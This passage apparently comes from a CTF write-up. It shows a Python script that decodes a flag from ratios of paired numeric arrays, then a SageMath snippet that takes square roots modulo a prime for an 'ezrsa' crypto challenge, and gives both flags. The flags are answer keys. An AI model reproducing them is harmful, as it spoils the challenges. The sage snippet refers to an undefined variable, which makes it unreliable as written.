['143.56482206', '620.21520718', '848.78978643', '269.14938319', '988.31464252', '547.0872599', '827.58196192', '861.08946317', '479.32623186', '266.85205538', '253.54239575', '489.88210525', '861.8079972', '400.07862409', '623.88492027', '634.20385675', '464.25807605', '995.77951579', '121.9899616', '549.26401286', '387.25987151', '869.1845083', '508.61339648', '749.5600671', '221.13792853', '224.83023838', '28.83916073', '963.57858598', '244.19917099', '325.67162043'],
['14654.37281922', '63266.06264815', '86582.60027253', '27448.69691838', '100815.42240857', '55809.95053539', '84401.12213349', '87839.22213036', '48900.30005292', '27211.88700325', '25860.54924124', '49974.40001781', '87904.06064496', '40808.0689886', '63648.99165597', '64675.57902001', '47377.05524929', '101567.95638227', '12438.40861465', '55999.32448575', '39496.41972381', '88668.89635615', '51869.058766', '76467.26161662', '22545.53491982', '22941.05288246', '2942.02729114', '98285.07433479', '24923.80465732', '33221.5371362'],

['67.00831225', '936.92298573', '492.53365281', '94.82450665', '963.77556932', '635.87241304', '556.67831578', '436.48366795', '801.95752377', '145.22410379', '411.79037621', '990.77676123', '809.56095114', '762.81120359', '643.90453163', '402.07242445', '692.9145418', '543.97481384', '228.89712355', '783.0984647', '272.0841824', '495.24392794', '347.39843471', '178.06819413', '453.27736942', '292.54534316', '721.55910179', '128.31045132', '647.98867835', '722.76761842'],
['3620.23653274', '50595.56585676', '26592.9886153', '5125.98352906', '52054.36107679', '34343.76102769', '30037.3011112', '23572.39583176', '43315.02222333', '7847.22583806', '22222.06061885', '53513.29700712', '43712.29003771', '41201.40412041', '34776.72371423', '21708.46717094', '37415.09081872', '29382.46917952', '12356.3371256', '42296.16430859', '14678.24755511', '26747.94810971', '18781.31600315', '9616.89703933', '24482.5919609', '15808.52764628', '38950.69045689', '6944.96645199', '34991.72923571', '39013.22531051'],

['642.30618027', '353.39679833', '356.43345541', '435.86976169', '420.765589', '24.92595777', '840.57717256', '609.91824498', '297.49861501', '282.49954645', '274.68785114', '996.6075688', '865.13502437', '66.73109003', '407.92564635', '258.34192494', '238.22847328', '219.08047039', '105.07464072', '219.9841925', '619.78204111', '894.6951933', '762.9228058', '518.05176358', '321.90471022', '737.26620312', '821.9129189', '166.80235638', '710.76491893', '504.82577825'],
['62946.29175722', '34651.95554715', '34932.16655399', '42703.64146901', '41242.41108901', '2447.76098585', '82383.65589857', '59782.6746587', '29154.79149298', '27702.46720548', '26914.82306054', '97674.68856434', '84791.76385855', '6549.51449412', '39967.28188721', '25326.1092059', '23351.77947987', '21475.88211437', '10320.95153142', '21542.70809418', '60726.21137179', '87695.70697902', '74774.57665348', '50774.45443106', '31541.33953643', '72257.71132592', '80537.03852073', '16330.28507748', '69673.5792102', '49463.3757464'],

['662.68554621', '404.08367364', '592.903567', '326.26287949', '63.07231457', '650.80990254', '348.16793287', '443.32352572', '675.92642573', '492.4512925', '916.51120632', '359.23553248', '221.12930176', '701.13483174', '431.07872535', '872.90839455', '991.66525423', '42.78516875', '438.61121045', '807.38855042', '852.73450471', '581.29249043', '324.84934443', '559.23216601', '426.21043837', '416.30305077', '708.84191719', '386.67230183', '750.1832598', '49.38756023'],
['37770.71510579', '23057.23898054', '33795.09980948', '18579.89098388', '3601.00373397', '37096.96036436', '19834.01712562', '25263.52518342', '38518.22989293', '28078.8463728', '52260.18155569', '20464.62787367', '12601.51891118', '39961.81903617', '24555.12731654', '49753.23535599', '56528.17830248', '2451.91694955', '24998.16601176', '46021.37979233', '48606.61632462', '33151.2230139', '18510.22141864', '31897.12028634', '24286.55213101', '23720.47500865', '40414.12737857', '22052.27140854', '42756.70498599', '2798.72587984'],
['920.59638946', '909.24970151', '363.02454901', '190.87983209', '693.28045588', '399.27928663', '71.93522477', '162.99274399', '707.96609874', '665.18162203', '457.67800037', '275.06939789', '829.13457085', '336.73869911', '532.31024786', '974.95009188', '231.25848907', '724.74093463', '924.87352064', '808.5517549', '810.05349091', '607.47604441', '453.04943732', '946.84868087', '853.70103018', '838.9218865', '798.15053292', '409.48477497', '681.31879862', '349.52652275'],
['48803.32803737', '48192.87455756', '19228.38053283', '10105.72606123', '36743.54444424', '21147.90078156', '3814.40849611', '8638.7156096', '37507.13743467', '35257.14449136', '24260.11958147', '14574.05297713', '43955.0441772', '17847.61322167', '28201.62361003', '51674.44619929', '12258.12862569', '38400.48972372', '49021.93991535', '42851.24631248', '42935.91913196', '32190.73163241', '24016.30709255', '50177.22000761', '45233.40771024', '44457.15637777', '42312.96730488', '21717.90407157', '36116.95693414', '18529.92142429'],
['92.60596994', '828.85280813', '694.91149167', '121.91299286', '649.62295873', '321.03498506', '644.1924657', '596.71282303', '151.29789358', '514.0159332', '356.89815837', '428.33893783', '540.10844316', '348.34381777', '750.58142043', '781.12688424', '909.76554206', '146.74152308', '702.42920282', '711.66237964', '540.40867061', '591.52501614', '178.34395669', '462.83659117', '818.17639471', '462.84530098', '558.83562392', '764.70129695', '168.36639643', '901.8005536'],
['9086.68141399', '81229.96770139', '68090.48790772', '11942.97935995', '63666.52059291', '31487.32402399', '63114.66773517', '58487.30306149', '14837.30886229', '50374.70370619', '34984.23958544', '41994.48615791', '52925.49757238', '34156.65723132', '73543.20947925', '76554.37505817', '89158.25209855', '14364.24453972', '68833.59316933', '69748.83672911', '52962.28867873', '57959.08019169', '17487.79784523', '45354.25685977', '80163.47238288', '45366.17405319', '54759.80229256', '74937.78857485', '16486.05997533', '88375.72766666'],
['390.8635266', '946.27651883', '292.42320357', '287.61637123', '277.252075', '557.66923266', '381.26791053', '576.44429816', '644.44946343', '275.36222639', '801.5124642', '282.78873309', '489.26038402', '600.82073667', '742.79021501', '350.9308702', '932.79984498', '642.06748827', '16.84622013', '528.90656953', '950.47300914', '50.25016125', '537.61530095', '937.81245643', '509.75736003', '47.64445008', '778.37203704', '352.44799155', '148.62550792', '364.89648415'],

```
['48857.26099922', '118294.30523412', '36537.91395294', '35955.79934941', '34654.65876802', '69716.29647497', '47645.97321786',
'72043.59882977', '80542.09199718', '34410.55469637', '100197.69051681', '35355.01322482', '61148.60537946', '75086.17710373',
'92848.46497582', '43872.62229993', '116608.40711687', '80254.70090759', '2097.4921553', '66119.32733167', '118810.55565979',
'6281.66491062', '67208.01994645', '117233.94217479', '63720.7240375', '5963.30535428', '97282.99360667', '44045.66383548',
'18595.3546981', '45611.42184139'],
]

from matplotlib import pyplot as plt
count = 0
ss = []
for i in flag:
    k = [float(j) for j in i]
    # plt.plot(k)
    # print(count)
    # plt.show()
    count += 1
    ss.append(k)
print(len(ss))
for i in range(0,len(ss)//2):
    a = ss[2*i]
    b = ss[2*i+1]
    x = (b[0]/a[0])
    x = round(x,0)
    print(chr(int(x)),end='')
```

flag{cb933a3b-4d1e-44c4-8d8b-3d0669f6b95b}

crypto

ezrsa

sagemath解一下

```
c =
412482079973710723630883700852439735510778695041476999618132433355695015420698005940640276732772531223867305358114864143849421232
0157665395208337575556385
p =
131079395635074597746162041412537474892320633362041739441232632845076043288856800724786690169694283666673813580040592042071348179
52620014738665450753147857

R.<x> = Zmod(p)[]
f = x^2-a
rr = f.roots()
print(rr)
```

flag{9971e255f0c020e8e57fbae75f43d7fb}

